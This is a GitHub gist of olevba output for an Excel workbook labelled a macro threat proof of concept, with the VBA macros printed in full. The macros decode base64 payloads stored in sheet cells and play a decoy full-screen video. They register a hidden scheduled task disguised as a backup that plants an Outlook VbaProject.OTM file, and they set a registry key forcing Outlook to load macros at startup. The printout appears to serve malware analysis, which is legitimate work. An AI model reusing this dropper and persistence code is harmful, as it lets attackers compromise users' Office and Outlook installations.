Created
November 12, 2019 21:31
-
-
Save JohnLaTwC/75149b8d0c88c78f86f78c843c308b03 to your computer and use it in GitHub Desktop.
VBA Excel Macro threat PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
olevba 0.54.2 on Python 3.7.3 - http://decalage.info/python/oletools | |
=============================================================================== | |
FILE: a8f5b757d2111927731c2c4730ca97a9d4f2c2b6eb9cd80bbb3ff33168bfd740 | |
Type: OpenXML | |
------------------------------------------------------------------------------- | |
VBA MACRO ThisWorkbook.cls | |
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
(empty macro) | |
------------------------------------------------------------------------------- | |
VBA MACRO Hoja1.cls | |
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja1' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Private Sub Worksheet_Activate() | |
DecodeV | |
Application.DisplayFullScreen = True | |
Application.DisplayStatusBar = False | |
WindowsMediaPlayer1.uiMode = "full" | |
'WindowsMediaPlayer1.Locked = True | |
'WindowsMediaPlayer1.Activate | |
'ActiveWindow.EnableResize = True | |
ActiveWindow.DisplayGridlines = False | |
ActiveWindow.DisplayHeadings = False | |
ActiveWindow.DisplayHorizontalScrollBar = False | |
ActiveWindow.DisplayOutline = False | |
ActiveWindow.DisplayRuler = False | |
ActiveWindow.DisplayVerticalScrollBar = False | |
ActiveWindow.DisplayRightToLeft = False | |
ActiveWindow.DisplayWhitespace = False | |
ActiveWindow.DisplayWorkbookTabs = False | |
ActiveWindow.DisplayZeros = False | |
ActiveWindow.DisplayFormulas = False | |
WindowsMediaPlayer1.Left = 0 | |
WindowsMediaPlayer1.Top = 0 | |
WindowsMediaPlayer1.Width = Application.Width | |
WindowsMediaPlayer1.Height = 0.95 * Application.Height | |
WindowsMediaPlayer1.BringToFront | |
WindowsMediaPlayer1.Url = directorio + "\Prueba02.mp4" | |
Application.DisplayAlerts = False | |
Application.OnTime Now + TimeValue("0:00:7"), "mensaje" | |
End Sub | |
------------------------------------------------------------------------------- | |
VBA MACRO Gráfico1.cls | |
in file: xl/vbaProject.bin - OLE stream: 'VBA/Gráfico1' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Private Sub Chart_Calculate() | |
Hoja2.Activate | |
'Hoja1.Activate | |
End Sub | |
------------------------------------------------------------------------------- | |
VBA MACRO Hoja2.cls | |
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja2' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Private Sub Worksheet_Activate() | |
Const TriggerTypeLogon = 9 | |
Const ActionTypeExec = 0 | |
Set service = CreateObject("Schedule.Service") | |
Call service.Connect | |
Dim rootFolder | |
Set rootFolder = service.GetFolder("\") | |
Dim taskDefinition | |
Set taskDefinition = service.NewTask(0) | |
Dim regInfo | |
Set regInfo = taskDefinition.RegistrationInfo | |
regInfo.Description = "Do a backup" | |
regInfo.Author = "Author Name" | |
Dim principal | |
Set principal = taskDefinition.principal | |
principal.LogonType = 3 | |
Dim settings | |
Set settings = taskDefinition.settings | |
settings.Enabled = True | |
settings.StartWhenAvailable = True | |
settings.Hidden = True | |
Dim triggers | |
Set triggers = taskDefinition.triggers | |
Dim trigger | |
Set trigger = triggers.Create(TriggerTypeLogon) | |
Dim startTime, endTime | |
Dim time | |
time = DateAdd("s", 10, Now) 'start time = 30 seconds from now | |
startTime = XmlTime(time) | |
time = DateAdd("m", 2, Now) | |
endTime = XmlTime(time) | |
trigger.StartBoundary = startTime | |
trigger.EndBoundary = endTime | |
trigger.ExecutionTimeLimit = "PT5M" 'Five minutes | |
trigger.ID = "LogonTriggerId" | |
trigger.Enabled = True | |
Dim UNombre | |
Dim UDominio | |
UNombre = Environ("username") | |
UDominio = Environ("userdomain") | |
'MsgBox ("Usuario: " & UDominio & "\" & UNombre) | |
trigger.UserID = UDominio & "\" & UNombre | |
'Crear fichero OTM en disco | |
TestDecodeToFile | |
' Cambia el registro | |
Dim myWS As Object | |
Dim clavereg, claveres | |
calvereg = "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\LoadMacroProviderOnBoot" | |
Set myWS = CreateObject("WScript.Shell") | |
claveres = myWS.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\LoadMacroProviderOnBoot", 1, "REG_DWORD") | |
Dim UPerf | |
Dim WDir | |
Dim Comando | |
UPerf = Environ("UserProfile") | |
WDir = Environ("WinDir") | |
Comando = Hoja3.Cells(1, 2) | |
Dim Action | |
Set Action = taskDefinition.Actions.Create(ActionTypeExec) | |
Action.Path = Comando | |
Action.Arguments = "Move-Item -Path " & UPerf & "\Desktop\decoded_otm_new.txt " & UPerf & "\AppData\Roaming\Microsoft\Outlook\VbaProject.OTM" | |
On Error Resume Next | |
Call rootFolder.RegisterTaskDefinition("UserTask", taskDefinition, 6, , , 3) | |
On Error GoTo 0 | |
End Sub | |
Function XmlTime(t) | |
Dim cSecond, cMinute, CHour, cDay, cMonth, cYear | |
Dim tTime, tDate | |
cSecond = "0" & Second(t) | |
cMinute = "0" & Minute(t) | |
CHour = "0" & Hour(t) | |
cDay = "0" & Day(t) | |
cMonth = "0" & Month(t) | |
cYear = Year(t) | |
tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _ | |
":" & Right(cSecond, 2) | |
tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2) | |
XmlTime = tDate & "T" & tTime | |
End Function | |
Sub TestDecodeToFile() | |
Dim UPerf | |
UPerf = Environ("UserProfile") | |
Dim strTempPath As String | |
Dim b64test As String | |
b64test1 = Hoja3.Cells(1, 1) | |
b64test2 = Hoja3.Cells(2, 1) | |
b64test3 = Hoja3.Cells(3, 1) | |
b64test4 = Hoja3.Cells(4, 1) | |
b64test5 = Hoja3.Cells(5, 1) | |
b64test6 = Hoja3.Cells(6, 1) | |
b64test7 = Hoja3.Cells(7, 1) | |
b64test8 = Hoja3.Cells(8, 1) | |
b64test9 = Hoja3.Cells(9, 1) | |
b64test10 = Hoja3.Cells(10, 1) | |
b64test11 = Hoja3.Cells(11, 1) | |
b64test12 = Hoja3.Cells(12, 1) | |
b64test13 = Hoja3.Cells(13, 1) | |
b64test = b64test1 + b64test2 + b64test3 + b64test4 + b64test5 + b64test6 + b64test7 + b64test8 + b64test9 + b64test10 + b64test11 + b64test12 + b64test13 | |
strTempPath = UPerf & "\Desktop\decoded_otm_new.txt" | |
Open strTempPath For Binary As #1 | |
Put #1, 1, DecodeBase64(b64test) | |
Close #1 | |
End Sub | |
Private Function DecodeBase64(ByVal strData As String) As Byte() | |
Dim objXML As Object 'MSXML2.DOMDocument | |
Dim objNode As Object 'MSXML2.IXMLDOMElement | |
'get dom document | |
Set objXML = CreateObject("MSXML2.DOMDocument") | |
'create node with type of base 64 and decode | |
Set objNode = objXML.createElement("b64") | |
objNode.DataType = "bin.base64" | |
objNode.Text = strData | |
DecodeBase64 = objNode.nodeTypedValue | |
'clean up | |
Set objNode = Nothing | |
Set objXML = Nothing | |
End Function | |
------------------------------------------------------------------------------- | |
VBA MACRO Módulo1.bas | |
in file: xl/vbaProject.bin - OLE stream: 'VBA/Módulo1' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Public Sub mensaje() | |
Application.DisplayAlerts = False | |
If (Application.Workbooks.Count > 1) Then | |
'ThisWorkbook.Close | |
'DEjo la aplicación Excel tal y como estaba | |
Application.DisplayFullScreen = False | |
'Application.DisplayStatusBar = True | |
Else | |
'DEjo la aplicación Excel tal y como estaba | |
Application.DisplayFullScreen = False | |
'Application.DisplayStatusBar = True | |
ActiveWindow.DisplayWorkbookTabs = True | |
'Application.Quit | |
End If | |
End Sub | |
Sub DecodeV() | |
Dim strTempPath As String | |
Dim b64test As String | |
Dim temporal As String | |
b64test1 = "" | |
b64test1 = cargarV | |
temporal = directorio | |
strTempPath = temporal + "\Prueba02.mp4" | |
If (Dir(strTempPath) = "") Then | |
'save byte array to temp file | |
Open strTempPath For Binary As #1 | |
Put #1, 1, DecodeBase64(b64test1) | |
Close #1 | |
End If | |
End Sub | |
Function directorio() As String | |
Dim fso As Object | |
Set fso = CreateObject("Scripting.FileSystemObject") | |
get_TempFolder = fso.GetSpecialFolder(2) | |
directorio = get_TempFolder | |
End Function | |
Private Function DecodeBase64(ByVal strData As String) As Byte() | |
Dim objXML As Object 'MSXML2.DOMDocument | |
Dim objNode As Object 'MSXML2.IXMLDOMElement | |
'get dom document | |
Set objXML = CreateObject("MSXML2.DOMDocument") | |
'create node with type of base 64 and decode | |
Set objNode = objXML.createElement("b64") | |
objNode.DataType = "bin.base64" | |
objNode.Text = strData | |
DecodeBase64 = objNode.nodeTypedValue | |
'clean up | |
Set objNode = Nothing | |
Set objXML = Nothing | |
End Function | |
Private Function cargarV() As String | |
Dim fila, columna As Integer | |
Dim texto As String | |
fila = 1 | |
columna = 1 | |
texto = "" | |
While (Hoja2.Cells(fila, columna) <> "") | |
texto = texto & Hoja2.Cells(fila, columna) | |
fila = fila + 1 | |
Wend | |
cargarV = texto | |
End Function | |
------------------------------------------------------------------------------- | |
VBA MACRO Hoja3.cls | |
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja3' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
(empty macro) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment